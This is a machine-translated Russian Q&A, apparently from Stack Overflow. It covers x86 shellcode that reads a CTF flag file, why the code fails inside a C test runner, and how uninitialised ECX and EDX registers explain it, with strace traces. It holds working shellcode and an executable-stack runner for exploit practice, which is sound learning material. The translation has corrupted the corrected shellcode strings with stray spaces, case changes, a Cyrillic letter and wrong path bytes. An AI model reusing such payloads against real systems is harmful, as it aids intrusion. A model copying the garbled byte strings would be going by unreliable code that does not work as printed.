Shellcode не работает при извлечении из двоичного файла - PullRequest
3 голосов
/ 16 апреля 2019

Я учусь писать шеллкод и пытаюсь прочитать файл (в данном случае /flag/level1.flag). Этот файл содержит одну строку.

Просматривая учебники в Интернете, я нашел следующий шелл-код. Он открывает файл, читает его побайтно (помещая каждый байт в стек), а затем записывает в стандартный вывод, указывая указатель на вершину стека.

section .text

global _start

_start:
    jmp ender

starter:
    pop ebx                     ; ebx -> ["/flag/level1.flag"]
    xor eax, eax 
    mov al, 0x5                 ; open()
    int 0x80
    mov esi, eax                ; [file handle to flag]
    jmp read

exit:
    xor eax, eax 
    mov al, 0x1               ; exit()
    xor ebx, ebx                ; return code: 0
    int 0x80

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                ; read 1 byte
    int 0x80

    xor ebx, ebx 
    cmp eax, ebx 
    je exit                     ; if read() returns 0x0, exit

    xor eax, eax 
    mov al, 0x4                 ; write()
    mov bl, 0x1                 ; stdout
    int 0x80
    inc esp 
    jmp read                  ; loop

ender:
    call starter
    string: db "/flag/level1.flag"

Вот что я делаю, чтобы скомпилировать и протестировать его:

nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o

Когда я запускаю ./test, я получаю ожидаемый результат. Теперь, если я вытащу шелл-код из двоичного файла и протестирую его в урезанном C-бегуне:

char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";


int main(int argc, char **argv){
    int (*exeshell)();
    exeshell = (int (*)()) code;
    (int)(*exeshell)();
}

Составлено следующим образом:

gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c 

И затем запустив его, я вижу, что правильно прочитал файл, но затем продолжаю выводить мусор на терминал (мне нужно Ctrl + C).

Я предполагаю, что это связано с тем, что read() не встречает \x00 и, таким образом, продолжает печатать данные из стека, пока не найдет нулевой маркер. Это верно? Если так, почему скомпилированный бинарный код работает?

1 Ответ

2 голосов
/ 16 апреля 2019

TL; DR : Никогда не принимайте состояние регистров при запуске в качестве эксплойта в целевом исполняемом файле.Если вам нужен нулевой регистр целиком, вы должны сделать это самостоятельно.Работа автономной и работающей программы может вести себя по-разному в зависимости от того, что находится в регистрах, когда эксплойт начинает выполняться.


Если вы правильно соберете свой код C , убедившись, что стекявляется исполняемым файлом, и вы создаете 32-битный эксплойт и запускаете его в 32-битном исполняемом файле (как вы это сделали), основная причина, по которой вещи могут потерпеть неудачу, если не является автономной, заключается в том, что вы неправильно обнулили регистры должным образом.В качестве автономной программы многие из регистров могут иметь значение 0 или иметь 0 в старших 24-битах, если они находятся внутри работающей программы, что может быть не так.Это может привести к тому, что ваши системные вызовы будут вести себя по-разному.

Одним из лучших инструментов для отладки шелл-кода является отладчик, такой как GDB.Вы можете пройти через свой эксплойт и просмотреть состояние регистра до ваших системных вызовов (int 0x80).Более простой подход в этом случае - инструмент STRACE (системная трассировка).Он покажет вам все системные вызовы и параметры, которые выдает программа.

Если вы запускаете strace ./test >output в своей автономной программе, где /flag/level1.flag содержит:

test

Возможно, вы увидите вывод STRACE, похожий на следующий:

execve("./test", ["./test"], [/* 26 vars */]) = 0
strace: [ Process PID=25264 runs in 32 bit mode. ]
open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1
)                       = 1
read(3, "", 1)                          = 0
exit(0)                                 = ?
+++ exited with 0 +++

Я перенаправил стандартный вывод в файл output, чтобы он не загромождал вывод STRACE.Вы можете видеть, что файл /flag/level1.flag был открыт как O_RDONLY и дескриптор файла 3 был возвращен.Затем вы читаете 1 байт за раз и записываете его в стандартный вывод (дескриптор файла 1).Файл output содержит данные, которые находятся в /flag/level1.flag.

Теперь запустите STRACE в своей программе шелл-кода и изучите разницу.Игнорируйте все системные вызовы до чтения файла флага, так как это системные вызовы программы shellcode, выполненные прямо и косвенно до того, как она попадет в ваш эксплойт.Вывод может выглядеть не совсем так, но он, вероятно, похож.

open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument)
read(-22, 0xffeac2cc, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\211\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0"..., 4293575425) = 4096
read(-22, 0xffeac2cd, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0\206"..., 4293575425) = 4096
[snip]

Вы должны заметить, что открытие не удалось с -1 EINVAL (Invalid argument), и если вы наблюдаете флаги, пропущенные, чтобы открыть тамнамного больше, чем O_RDONLY .Это говорит о том, что второй параметр в ECX , вероятно, не был должным образом обнулен.Если вы посмотрите на свой код, вы получите следующее:

pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
mov al, 0x5                 ; open()
int 0x80

Вы не установите ECX на что-либо.При работе в реальной программе ECX отличен от нуля.Измените код следующим образом:

pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
xor ecx, ecx
mov al, 0x5                 ; open()
int 0x80

Теперь сгенерируйте строку шелл-кода с этим исправлением, и она, вероятно, будет выглядеть примерно так:

\ xeb \ x32 \ x5b \ x31 \ xc0 \x31 \ xc9 \ XB0 \ x05 \ XCD \ x80 \ x89 \ xc6 \ xeb \ x08 \ x31 \ xc0 \ XB0 \ x01 \ x31 \ XDB \ XCD \ x80 \ x31 \ xc0 \ XB0 \ x03 \ x89 \ xf3 \ x89 \xe1 \ XB2 \ x01 \ XCD \ x80 \ x31 \ XDB \ x39 \ xd8 \ x74 \ XE6 \ x31 \ xc0 \ XB0 \ x04 \ xb3 \ x01 \ XCD \ x80 \ x44 \ xeb \ XE3 \ X Е8 \ xc9 \ XFF \xff \ xff \ x2f \ x66 \ x6c \ x61 \ x67 \ x2f \ x6c \ x65 \ x76 \ x65 \ x6c \ x31 \ x2e \ x66 \ x6c \ x61 \ x67

Запустить эту строку оболочкив вашей программе shellcode снова используйте STRACE, и результат может выглядеть примерно так:

open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3
read(3, "test\n", 4286583809)           = 5
write(1, "test\n\0\0\0\24\25\200\377\34\25\200\377@\0bV\334\363r\367\200\24\200\
377\0\0\0\0"..., 4286583809) = 4096

Это лучше, но проблема все еще существует.Число байтов для чтения (третий параметр) - 4286583809 (ваше значение может быть другим).Предполагается, что ваш автономный код читает по 1 байту за раз.Это указывает на то, что, вероятно, старшие 24 бита EDX не были обнулены должным образом.Если вы просматриваете код, который вы делаете:

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                 ; read 1 byte
    int 0x80

Ни в одном пункте этого раздела кода (или до него) вы не обнуляете EDX перед тем, как поместить 1 в DL .Вы можете сделать это с помощью:

read:
    xor eax, eax
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    xor edx, edx                ; Zero all of EDX
    mov dl, 0x1                 ; read 1 byte
    int 0x80

Теперь сгенерируйте строку шелл-кода с этим исправлением, и это, вероятно, выглядит примерно так:

\ xeb \ x34 \ x5b \ x31 \ xc0 \x31 \ xc9 \ XB0 \ x05 \ XCD \ x80 \ x89 \ xc6 \ xeb \ x08 \ x31 \ xc0 \ XB0 \ x01 \ x31 \ XDB \ XCD \ x80 \ x31 \ xc0 \ XB0 \ x03 \ x89 \ xf3 \ x89 \xe1 \ x31 \ XD2 \ XB2 \ x01 \ XCD \ x80 \ x31 \ XDB \ x39 \ xd8 \ x74 \ xe4 \ x31 \ xc0 \ XB0 \ x04 \ xb3 \ x01 \ XCD \ x80 \ x44 \ xeb \ xe1 \ X Е8 \xc7 \ xff \ xff \ xff \ x2f \ x66 \ x6c \ x61 \ x67 \ x2f \ x6c \ x65 \ x65 \ x65 \ x6c \ x31 \ x2e \ x66 \ x6c \ x61 \ x67

Запустите эту строку оболочки в вашей программе shellcode, используя STRACE снова, и результат может выглядеть примерно так:

open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1)                       = 1
read(3, "", 1)                          = 0

Это приводит к желаемому поведению.Просматривая остальную часть кода сборки, не кажется, что эта ошибка была допущена ни в одном из других регистров и системных вызовов.Использование GDB показало бы вам аналогичную информацию о состоянии регистров перед каждым системным вызовом.Вы бы обнаружили, что регистры не всегда имеют ожидаемые значения.

...